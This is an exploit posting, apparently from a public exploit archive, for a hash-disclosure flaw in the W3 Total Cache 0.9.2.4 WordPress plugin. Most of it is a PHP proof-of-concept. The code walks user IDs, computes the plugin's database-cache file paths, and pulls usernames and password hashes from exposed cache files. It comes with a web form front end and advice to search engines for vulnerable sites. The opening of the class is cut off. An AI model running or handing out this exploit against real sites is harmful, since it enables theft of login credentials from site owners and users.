=============================================================================================================================================
| # Title : WordPress W3 Total Cache 0.9.2.4 Hash disclor vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.WordPress.org/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: The code is an exploit for the W3 Total Cache plugin for WordPress, which searches for user data stored in the database cache and retrieves usernames and password hashes.
(linked: https://packetstorm.news/files/id/180672/ Linked CVE numbers: ),
[+] save code as poc.php.
[+] USage : http://127.0.0.1/poc.php
[+] PayLoad :
tablePrefix = $tablePrefix;
$this->siteIterations = $siteIterations;
$this->userIterations = $userIterations;
$this->targetUrl = rtrim($targetUrl, '/');
}
private function sendRequest($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function cacheUserInfo($userId) {
$url = $this->targetUrl . "/?author=" . $userId;
$this->sendRequest($url);
}
private function md5Hash($string) {
return md5($string);
}
public function run() {
$usersFound = false;
$results = "";
for ($siteId = 1; $siteId <= $this->siteIterations; $siteId++) {
$results .= "Trying site_id {$siteId}...
";
for ($userId = 1; $userId <= $this->userIterations; $userId++) {
$results .= "Trying user_id {$userId}...
";
$this->cacheUserInfo($userId);
$query = "SELECT * FROM {$this->tablePrefix}users WHERE ID = '{$userId}'";
$queryMd5 = $this->md5Hash($query);
$key = "w3tc_" . parse_url($this->targetUrl, PHP_URL_HOST) . "_{$siteId}_sql_{$queryMd5}";
$keyMd5 = $this->md5Hash($key);
$hashPath = "{$keyMd5[0]}/{$keyMd5[1]}/{$keyMd5[2]}/{$keyMd5}";
$url = "{$this->targetUrl}/wp-content/w3tc/dbcache/{$hashPath}";
$result = $this->sendRequest($url);
if (!$result) {
$results .= "No response received
";
continue;
}
if (preg_match('/.*"user_login";s:\d+:"([^"]*)";s:\d+:"user_pass";s:\d+:"([^"]*)".*/', $result, $matches)) {
$results .= "Found: Username: {$matches[1]} | Password Hash: {$matches[2]}
";
$usersFound = true;
}
}
}
if (!$usersFound) {
$results .= "No users found :(
";
}
return $results;
}
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$target = $_POST['target_url'];
$exploit = new WordpressW3TCExploit($target);
$result = $exploit->run();
} else {
$result = "";
}
?>
WordPress W3TC Exploit
WordPress W3TC Exploit
Results:
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================